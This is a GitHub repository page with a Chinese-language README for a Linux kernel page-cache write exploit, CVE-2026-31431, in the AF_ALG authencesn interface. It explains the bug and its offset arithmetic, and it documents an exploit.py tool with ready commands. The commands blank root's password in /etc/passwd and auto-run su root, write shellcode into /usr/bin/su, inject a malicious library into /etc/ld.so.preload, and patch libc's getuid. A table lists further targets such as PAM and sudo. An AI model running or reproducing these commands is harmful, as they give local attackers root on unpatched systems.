Skip to content

Sndav/CVE-2026-31431-Advanced-Exploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 

Repository files navigation

CVE-2026-31431 — Copy Fail

Linux 内核页缓存越权写入漏洞 (AF_ALG AEAD 散列表链错误)

概述

Linux 内核 algif_aead 接口存在一个漏洞,允许无特权用户向任意可读文件的页缓存(page cache)写入任意数据——完全绕过文件权限检查、强制访问控制(MAC)以及完整性校验。

磁盘上的文件内容不会改变,但此后所有读取该文件的进程(包括 SUID 程序、动态链接器、execve() 等)都会看到攻击者篡改后的版本,直到页缓存被回收。

影响范围

项目 说明
子系统 crypto/algif_aead.c
算法 authencesn(hmac(sha256),cbc(aes))
内核配置 CONFIG_CRYPTO_USER_API_AEAD=y/m(几乎所有主流发行版默认启用)
所需权限 — 只要对目标文件有读权限即可
危害等级 本地提权 → root
受影响发行版 Ubuntu、Debian、Fedora、RHEL、Arch、openSUSE 等

漏洞原理

简要说明

通过 AF_ALG 执行 AEAD 解密时:

  1. 用户态通过 sendmsg() + MSG_MORE 发送关联认证数据(AAD),其中包含攻击者控制的 4 字节 seqno_lo
  2. 通过 splice() 将目标文件的页缓存页面注入到内核加密子系统的发送散列表(TX SGL)中。
  3. 内核构建目标散列表(dst SGL)时,将接收缓冲区与页缓存页面通过 sg_chain 链接在一起。
  4. authencesn 算法将 seqno_lo 写入目标散列表偏移 assoclen + cryptlen 处——该位置越过接收缓冲区,直接落入链接的页缓存页面
  5. 此写入发生在 HMAC 校验之前。HMAC 失败后内核返回 EBADMSG 错误,但页缓存已被篡改。

数据流图

 sendmsg (AAD)            splice (文件页面)
     │                         │
     ▼                         ▼
 ┌──────────┐  sg_chain   ┌──────────────────────┐
 │ RX 缓冲区 │─────────────▶│   页缓存页面          │
 │  8 字节   │              │  (文件内容)          │
 └──────────┘              └──────────────────────┘
                                  ▲
                                  │
                      authencesn 在此写入 seqno_lo
                      偏移 = assoclen + cryptlen
                      ════ 这就是漏洞所在 ════

关键点

  • seqno_lo 的 4 字节完全由攻击者在 AAD 中控制(写什么
  • splice 的长度决定了写入在页缓存中的偏移(写哪里
  • 两者结合 = 对任意可读文件页缓存的任意 4 字节写入原语

使用方法

快速提权

# 篡改 /etc/passwd 页缓存,移除 root 密码,自动执行 su root
./exploit.py escalate

执行过程:

  1. /etc/passwd 原始内容备份到 /tmp/.passwd.bak
  2. 在页缓存中将 root:x:0:0:root:... 修改为 root::0:0:root :...
  3. 自动调用 su root(无需密码)

输出示例:

[*] CVE-2026-31431 — Copy Fail
[*] Mode: remove root password via /etc/passwd

[*] Backup: /tmp/.passwd.bak
[*] Before : root:x:0:0:root:/root:/bin/bash
[*] After  : root::0:0:root :/root:/bin/bash
[*] Offset : 0

    [0x000000]  726f6f74  root
    [0x000004]  3a3a303a  ::0:
    [0x000008]  303a726f  0:ro
    [0x00000c]  6f742020  ot
    [0x000010]  3a2f726f  :/ro
    [0x000014]  6f743a2f  ot:/
    [0x000018]  62696e2f  bin/
    [0x00001c]  62617368  bash

[+] Success: root::0:0:root :/root:/bin/bash

[*] Recovery: echo 3 > /proc/sys/vm/drop_caches
[*] Running: su root (no password needed)

通用:任意页缓存写入

# 基本语法
./exploit.py write <文件路径> <偏移量> <数据>

# 从二进制文件读取 payload
./exploit.py write <文件路径> <偏移量> @payload.bin

使用示例

# 将 shellcode 写入 SUID 程序的入口点
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin

# 注入预加载库路径
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'

# 篡改 libc 函数(例如让 getuid() 返回 0)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'

约束条件

约束 说明
读权限 目标文件必须对当前用户可读(O_RDONLY
对齐 每次写入 4 字节;不足 4 字节的尾部用 0x90 填充
文件大小 文件大小必须 ≥ 偏移量 + 数据长度 + 4 字节
仅页缓存 磁盘上的文件内容不会被修改
持久性 页缓存被回收或手动清除前一直有效
内核配置 需要 AF_ALG + authencesn 可用(主流发行版默认具备)

恢复方法

# 方法一:清除所有页缓存,恢复磁盘上的原始内容
echo 3 > /proc/sys/vm/drop_caches

# 方法二:重启
reboot

内部技术细节

AF_ALG 套接字初始化

socket(AF_ALG, SOCK_SEQPACKET, 0)
  → bind("aead", "authencesn(hmac(sha256),cbc(aes))")
  → setsockopt(SOL_ALG, ALG_SET_KEY, authenc_密钥blob)
  → setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
  → accept()  →  请求 fd

密钥结构(authenc key blob)

┌─────────────────────────────────────────────┐
│ rta_len (2B)  │ rta_type (2B) │ enckeylen (4B) │
│   0x0008      │   0x0001      │  0x00000010    │
├─────────────────────────────────────────────┤
│         认证密钥 (16 字节全零)                  │
├─────────────────────────────────────────────┤
│         加密密钥 (16 字节全零)                  │
└─────────────────────────────────────────────┘

密钥值无关紧要——HMAC 必然失败,但越权写入在校验之前已完成。

单次 4 字节写入流程

步骤 1:  sendmsg(req_fd,
                  AAD = [seqno_hi(4B) | seqno_lo(4B)],    ← seqno_lo = 要写入的值
                  cmsg = [OP=DECRYPT, IV=全零, ASSOCLEN=8],
                  flags = MSG_MORE)

步骤 2:  pipe_r, pipe_w = pipe()

步骤 3:  splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)

步骤 4:  splice(pipe_r → req_fd, count = file_offset + 4)

步骤 5:  recv(req_fd, ASSOC_LEN + file_offset)
          → 触发 authencesn 解密
          → seqno_lo 被写入 dst SGL 偏移 assoclen + cryptlen
          → 该偏移落在页缓存页面的 file_offset 处
          → HMAC 失败, 返回 EBADMSG
          → 页缓存已被篡改 ✓

偏移计算

dst SGL 布局:
  [0 .. 7]                         → RX 缓冲区 (AAD 接收区)
  [8 .. 8 + file_offset + 3]      → 页缓存页面 (splice 注入)

seqno_lo 写入位置:
  dst[assoclen + cryptlen]
  = dst[8 + file_offset]
  = 页缓存中 file_offset 处

∴ 攻击者控制 file_offset → 控制写入位置
  攻击者控制 seqno_lo    → 控制写入内容

文件结构

.
├── exploit.py          # 自包含漏洞利用脚本(仅需 Python 3 + Linux)
└── README.md           # 本文件

利用场景一览

攻击路径 目标文件 效果
移除 root 密码 /etc/passwd su root 无需密码
注入预加载库 /etc/ld.so.preload 所有程序加载恶意 .so
篡改 SUID 程序 /usr/bin/su 执行 shellcode 获取 root shell
篡改 libc /usr/lib/libc.so.6 劫持 getuid() 等函数返回 0
篡改 PAM 模块 /usr/lib/security/pam_unix.so 绕过所有认证
篡改 sudo /usr/bin/sudo 任意用户直接获得 root

免责声明

本工具仅用于授权的安全研究和渗透测试。未经授权使用本工具攻击他人系统属于违法行为。使用者应自行承担所有法律责任。

About

CVE-2026-31431 纯文件利用

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Languages